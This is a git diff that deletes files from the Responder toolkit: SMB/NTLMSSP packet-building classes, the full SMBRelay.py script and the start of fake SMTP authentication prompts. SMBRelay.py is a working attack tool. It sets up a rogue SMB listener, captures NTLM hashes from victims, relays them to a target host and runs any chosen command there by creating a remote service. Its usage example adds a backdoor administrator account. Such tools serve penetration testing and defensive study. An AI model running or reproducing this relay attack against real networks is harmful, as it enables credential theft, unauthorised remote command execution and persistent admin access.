-        self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
-        self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
-        self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
-        self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
-
-        ###### Andxoffset calculation.
-        CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
-
-        self.fields["Andxoffset"] = struct.pack("<h", len(CalculateCompletePacket)+32)
-        ###### Workstation Offset
-        CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
-
-        ###### AvPairs Offset
-        CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
-
-        ##### Workstation Offset Calculation:
-        self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
-        self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
-        self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
-
-        ##### IvPairs Offset Calculation:
-        self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
-        self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
-        self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
-        ##### IvPair Calculation:
-        self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
-
-##################################################################################
-
-class SMBSession2Accept(Packet):
-    fields = OrderedDict([
-        ("Wordcount",             "\x04"),
-        ("AndXCommand",           "\xff"),
-        ("Reserved",              "\x00"),
-        ("Andxoffset",            "\xb4\x00"),
-        ("Action",                "\x00\x00"),
-        ("SecBlobLen",            "\x09\x00"),
-        ("Bcc",                   "\x89\x01"),
-        ("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"),
-        ("NativeOs","Windows Server 2003 3790 Service Pack 2"),                           
-        ("NativeOsTerminator","\x00\x00"),
-        ("NativeLAN", "Windows Server 2003 5.2"),
-        ("NativeLANTerminator","\x00\x00"),
-    ])
-    def calculate(self):
-        self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
-        self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
-        BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
-        self.fields["Bcc"] = struct.pack("<h", len(BccLen))
-
-class SMBSessEmpty(Packet):
-    fields = OrderedDict([
-        ("Empty",       "\x00\x00\x00"),
-    ])
-
-class SMBTreeData(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x07"),
-        ("AndXCommand", "\xff"),
-        ("Reserved","\x00" ),
-        ("Andxoffset", "\xbd\x00"),
-        ("OptionalSupport","\x00\x00"),
-        ("MaxShareAccessRight","\x00\x00\x00\x00"),
-        ("GuestShareAccessRight","\x00\x00\x00\x00"),
-        ("Bcc", "\x94\x00"),
-        ("Service", "IPC"),
-        ("ServiceTerminator","\x00\x00\x00\x00"),                           
-    ])
-
-
-    def calculate(self):
-        #Complete Packet Len
-        CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
-        ## AndXOffset
-        self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32)
-        ## BCC Len Calc
-        BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
-        self.fields["Bcc"] = struct.pack("<H", len(BccLen))
-
-# SMB Session/Tree Answer.
-class SMBSessTreeAns(Packet):
-    fields = OrderedDict([
-        ("Wordcount",       "\x03"),
-        ("Command",         "\x75"), 
-        ("Reserved",        "\x00"),
-        ("AndXoffset",      "\x4e\x00"),
-        ("Action",          "\x01\x00"),
-        ("Bcc",             "\x25\x00"),
-        ("NativeOs",        "Windows 5.1"),
-        ("NativeOsNull",    "\x00"),
-        ("NativeLan",       "Windows 2000 LAN Manager"),
-        ("NativeLanNull",   "\x00"),
-        ("WordcountTree",   "\x03"),
-        ("AndXCommand",     "\xff"),
-        ("Reserved1",       "\x00"),
-        ("AndxOffset",      "\x00\x00"),
-        ("OptionalSupport", "\x01\x00"),
-        ("Bcc2",            "\x08\x00"),
-        ("Service",         "A:"),
-        ("ServiceNull",     "\x00"),
-        ("FileSystem",      "NTFS"),
-        ("FileSystemNull",  "\x00"),
-
-    ])
-
-    def calculate(self):
-        ##AndxOffset
-        CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
-        self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]
-        ##BCC 1 and 2
-        CompleteBCCLen =  str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
-        CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
-        self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))

SMBRelay.py

@@ -1,448 +0,0 @@
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
-from FingerprintRelay import RunSmbFinger
-from odict import OrderedDict
-from socket import *
-from RelayPackets import *
-
-def UserCallBack(op, value, dmy, parser):
-        args=[]
-        for arg in parser.rargs:
-                if arg[0] != "-":
-                        args.append(arg)
-        if getattr(parser.values, op.dest):
-                args.extend(getattr(parser.values, op.dest))
-        setattr(parser.values, op.dest, args)
-
-parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin",
-                               prog=sys.argv[0],
-                               )
-parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
-
-parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
-
-parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
-
-parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain")
-
-parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
-
-options, args = parser.parse_args()
-
-if options.CMD is None:
-   print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.TARGET is None:
-   print "\n-t mandatory option is missing, please provide a target.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.UserToRelay is None:
-   print "\n-u mandatory option is missing, please provide a username to relay.\n"
-   parser.print_help()
-   exit(-1)
-
-ResponderPATH = os.path.dirname(__file__)
-# Set some vars.
-UserToRelay = options.UserToRelay
-Domain  = options.Domain
-Command  = options.CMD
-Target = options.TARGET
-OURIP = options.OURIP
-
-print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
-print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames  to relay (-u) are case sensitive.'+'\033[0m'
-print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' 
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#Logger
-import logging
-Logs = logging
-Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
-
-#Function used to verify if a previous auth attempt was made.
-def ReadData(outfile,Client, User, cmd=None):
-    try:
-       with open(ResponderPATH+outfile,"r") as filestr:
-          if cmd == None:
-             String = Client+':'+User
-             if re.search(String.encode('hex'), filestr.read().encode('hex')):
-                filestr.close()
-                return True
-             else:
-                return False
-          if cmd != None:
-             String = Client+","+User+","+cmd
-             if re.search(String.encode('hex'), filestr.read().encode('hex')):
-                filestr.close()
-                print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
-                return True
-             else:
-                return False           
-
-    except:
-       raise
-
-#Function used to parse SMB NTLMv1/v2 
-def ParseHash(data,Client, Target):
-  try:
-    lenght = struct.unpack('<H',data[43:45])[0]
-    LMhashLen = struct.unpack('<H',data[51:53])[0]
-    NthashLen = struct.unpack('<H',data[53:55])[0]
-    Bcc = struct.unpack('<H',data[63:65])[0]
-    if NthashLen >= 30:
-       Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
-       pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
-       var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
-       Username, Domain = tuple(var)
-       if ReadData("SMBRelay-Session.txt", Client, Username):
-          print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
-          pass
-       if Username in UserToRelay:
-          print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
-          print "Username : ",Username
-          print "Domain (if joined, if not then computer name) : ",Domain
-          return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
-    if NthashLen == 24:
-       pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
-       var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
-       Username, Domain = tuple(var)
-       if ReadData("SMBRelay-Session.txt", Client, Username):
-          print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
-          pass
-       if Username in UserToRelay:
-          print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
-          LMHashing = data[65:65+LMhashLen].encode('hex').upper()
-          NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
-          print "Username : ",Username
-          print "Domain (if joined, if not then computer name) : ",Domain
-          return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
-       else:
-          print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
-          pass
-
-
-  except Exception:
-    raise
-
-#Detect if SMB auth was Anonymous
-def Is_Anonymous(data):
-    LMhashLen = struct.unpack('<H',data[51:53])[0]
-    if LMhashLen == 0 or LMhashLen == 1:
-       print "SMB Anonymous login requested, trying to force client to auth with credz."
-       return True
-    else:
-       return False
-
-def ParseDomain(data):
-    Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
-    return Domain
-
-#Function used to know which dialect number to return for NT LM 0.12
-def Parse_Nego_Dialect(data):
-    DialectStart = data[40:]
-    pack = tuple(DialectStart.split('\x02'))[:10]
-    var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
-    test = tuple(var)
-    if test[0] == "NT LM 0.12":
-       return "\x00\x00"
-    if test[1] == "NT LM 0.12":
-       return "\x01\x00"
-    if test[2] == "NT LM 0.12":
-       return "\x02\x00"
-    if test[3] == "NT LM 0.12":
-       return "\x03\x00"
-    if test[4] == "NT LM 0.12":
-       return "\x04\x00"
-    if test[5] == "NT LM 0.12":
-       return "\x05\x00"
-    if test[6] == "NT LM 0.12":
-       return "\x06\x00"
-    if test[7] == "NT LM 0.12":
-       return "\x07\x00"
-    if test[8] == "NT LM 0.12":
-       return "\x08\x00"
-    if test[9] == "NT LM 0.12":
-       return "\x09\x00"
-    if test[10] == "NT LM 0.12":
-       return "\x0a\x00"
-
-def SmbRogueSrv139(key,Target,DomainMachineName):
-    s = socket(AF_INET,SOCK_STREAM)
-    s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
-    s.settimeout(30)
-    try:
-       s.bind(('0.0.0.0', 139))
-       s.listen(0)
-       conn, addr = s.accept()
-    except error, msg:
-       if "Address already in use" in msg:
-          print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
-       
-    try:
-       while True:
-         data = conn.recv(1024)
-         ##session request 139
-         if data[0] == "\x81":
-            buffer0 = "\x82\x00\x00\x00"         
-            conn.send(buffer0)
-         ##Negotiate proto answer.
-         if data[8:10] == "\x72\x00":
-            head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
-            t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
-            t.calculate()
-            packet1 = str(head)+str(t)
-            buffer1 = longueur(packet1)+packet1
-            conn.send(buffer1)
-            ##Session Setup AndX Request
-         if data[8:10] == "\x73\x00":
-            if Is_Anonymous(data):
-               head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
-               packet1 = str(head)+str(SMBSessEmpty())
-               buffer1 = longueur(packet1)+packet1  
-               conn.send(buffer1)
-            else:
-               head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
-               packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
-               buffer1 = longueur(packet1)+packet1  
-               conn.send(buffer1)
-               Credz = ParseHash(data,addr[0],Target)
-               return Credz
-    except:
-       return None
-
-def RunRelay(host, Command,Domain):
-    Target = host
-    CMD = Command
-    print "Target is running: ", RunSmbFinger((host, 445))
-    s = socket(AF_INET, SOCK_STREAM)
-    s.connect((host, 445))
-    h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x03\xc7",pid="\xff\xfe", tid="\xff\xff")
-    n = SMBNego(Data = SMBNegoData())
-    n.calculate()
-    packet0 = str(h)+str(n)
-    buffer0 = longueur(packet0)+packet0
-    s.send(buffer0)
-    data = s.recv(2048)
-    Key = ParseAnswerKey(data,host)
-    DomainMachineName = ParseDomain(data)
-    if data[8:10] == "\x72\x00":
-       try: 
-          a = SmbRogueSrv139(Key,Target,DomainMachineName)
-          if a is not None:
-             LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
-             if Domain == None:
-                Domain = OriginalDomain
-             if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
-                pass
-             else:
-                head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
-                t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
-                t.calculate()
-                packet0 = str(head)+str(t)
-                buffer1 = longueur(packet0)+packet0
-                s.send(buffer1)
-                data = s.recv(2048)
-       except:
-          raise
-          a = None
-    if data[8:10] == "\x73\x6d":
-          print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
-          Logs.info(CLIENTIP+":"+Username)
-    if data[8:10] == "\x73\x0d":
-          print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
-          Logs.info(CLIENTIP+":"+Username)
-       ## NtCreateAndx
-    if data[8:10] == "\x73\x00":
-          print "[+] Authenticated, trying to PSexec on target !"
-          head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-          t = SMBNTCreateData()
-          t.calculate()
-          packet0 = str(head)+str(t)
-          buffer1 = longueur(packet0)+packet0  
-          s.send(buffer1)
-          data = s.recv(2048)
-       ## Fail Handling.
-    if data[8:10] == "\xa2\x22":
-          print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
-       ## DCE/RPC Write.
-    if data[8:10] == "\xa2\x00":
-          head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-          x = SMBDCEData()
-          x.calculate()
-          f = data[42:44]
-          t = SMBWriteData(FID=f,Data=x)
-          t.calculate()
-          packet0 = str(head)+str(t)
-          buffer1 = longueur(packet0)+packet0  
-          s.send(buffer1)
-          data = s.recv(2048)
-          ## DCE/RPC Read.
-          if data[8:10] == "\x2f\x00":
-             head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-             t = SMBReadData(FID=f)
-             t.calculate()
-             packet0 = str(head)+str(t)
-             buffer1 = longueur(packet0)+packet0  
-             s.send(buffer1)
-             data = s.recv(2048)
-             ## DCE/RPC SVCCTLOpenManagerW.
-             if data[8:10] == "\x2e\x00":
-                head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
-                w.calculate()
-                x = SMBDCEPacketData(Data=w)
-                x.calculate()
-                t = SMBWriteData(FID=f,Data=x)
-                t.calculate()
-                packet0 = str(head)+str(t)
-                buffer1 = longueur(packet0)+packet0  
-                s.send(buffer1)
-                data = s.recv(2048)
-                ## DCE/RPC Read Answer.
-                if data[8:10] == "\x2f\x00":
-                   head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                   t = SMBReadData(FID=f)
-                   t.calculate()
-                   packet0 = str(head)+str(t)
-                   buffer1 = longueur(packet0)+packet0  
-                   s.send(buffer1)
-                   data = s.recv(2048)
-                   ## DCE/RPC SVCCTLCreateService.
-                   if data[8:10] == "\x2e\x00":
-                      if data[len(data)-4:] == "\x05\x00\x00\x00":
-                         print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
-                      print "[+] Creating service"
-                      head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                      ContextHandler = data[88:108]
-                      ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
-                      ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
-                      FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
-                      w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
-                      w.calculate()
-                      x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
-                      x.calculate()
-                      t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
-                      t.calculate()
-                      packet0 = str(head)+str(t)
-                      buffer1 = longueur(packet0)+packet0  
-                      s.send(buffer1)
-                      data = s.recv(2048)
-                      ## DCE/RPC Read Answer.
-                      if data[8:10] == "\x2f\x00":
-                         head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                         t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
-                         t.calculate()
-                         packet0 = str(head)+str(t)
-                         buffer1 = longueur(packet0)+packet0  
-                         s.send(buffer1)
-                         data = s.recv(2048)
-                         ## DCE/RPC SVCCTLOpenService.
-                         if data[8:10] == "\x2e\x00":
-                            if data[len(data)-4:] == "\x05\x00\x00\x00":
-                               print "[+] Failed to create the service"
-
-                            head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                            w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
-                            w.calculate()
-                            x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
-                            x.calculate()
-                            t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
-                            t.calculate()
-                            packet0 = str(head)+str(t)
-                            buffer1 = longueur(packet0)+packet0  
-                            s.send(buffer1)
-                            data = s.recv(2048)
-                            ## DCE/RPC Read Answer.
-                            if data[8:10] == "\x2f\x00":
-                               head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                               t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
-                               t.calculate()
-                               packet0 = str(head)+str(t)
-                               buffer1 = longueur(packet0)+packet0  
-                               s.send(buffer1)
-                               data = s.recv(2048)
-                               ## DCE/RPC SVCCTLStartService.
-                               if data[8:10] == "\x2e\x00":
-                                  if data[len(data)-4:] == "\x05\x00\x00\x00":
-                                     print "[+] Failed to open the service"
-                                  ContextHandler = data[88:108]
-                                  head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                                  w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
-                                  x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
-                                  x.calculate()
-                                  t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
-                                  t.calculate()
-                                  packet0 = str(head)+str(t)
-                                  buffer1 = longueur(packet0)+packet0  
-                                  s.send(buffer1)
-                                  data = s.recv(2048)
-                                  ## DCE/RPC Read Answer.
-                                  if data[8:10] == "\x2f\x00":
-                                     head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                                     t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
-                                     t.calculate()
-                                     packet0 = str(head)+str(t)
-                                     buffer1 = longueur(packet0)+packet0  
-                                     s.send(buffer1)
-                                     data = s.recv(2048)
-                                     if data[8:10] == "\x2e\x00":
-                                        print "[+] Command successful !"
-                                        Logs.info('Command successful:')
-                                        Logs.info(Target+","+Username+','+CMD)
-                                        return True
-                                     if data[8:10] != "\x2e\x00":
-                                        return False
-
-
-def RunInloop(Target,Command,Domain):
-   try:
-      while True:
-         worker = RunRelay(Target,Command,Domain)
-   except:
-      raise
-
-
-def main():
-   try:
-      thread.start_new(RunInloop,(Target,Command,Domain))
-   except KeyboardInterrupt:
-      exit()
-
-if __name__ == '__main__':
-    try:
-        main()
-    except KeyboardInterrupt:
-        raise
-    raw_input()
-

SMTPPackets.py

@@ -1,74 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#SMTP Greating class
-class SMTPGreating(Packet):
-    fields = OrderedDict([
-        ("Code",             "220"),
-        ("Separator",        "\x20"), 
-        ("Message",          "smtp01.local ESMTP"),
-        ("CRLF",             "\x0d\x0a"),
-        ]) 
-
-class SMTPAUTH(Packet):
-    fields = OrderedDict([
-        ("Code0",            "250"),
-        ("Separator0",       "\x2d"), 
-        ("Message0",         "smtp01.local"),
-        ("CRLF0",            "\x0d\x0a"),
-        ("Code",             "250"),
-        ("Separator",        "\x20"), 
-        ("Message",          "AUTH LOGIN PLAIN XYMCOOKIE"),
-        ("CRLF",             "\x0d\x0a"),
-        ]) 
-
-class SMTPAUTH1(Packet):
-    fields = OrderedDict([
-        ("Code",             "334"),
-        ("Separator",        "\x20"), 
-        ("Message",          "VXNlcm5hbWU6"),#Username
-        ("CRLF",             "\x0d\x0a"),
-
-        ]) 
-
-class SMTPAUTH2(Packet):
-    fields = OrderedDict([
-        ("Code",             "334"),
-        ("Separator",        "\x20"), 
-        ("Message",          "UGFzc3dvcmQ6"),#Password
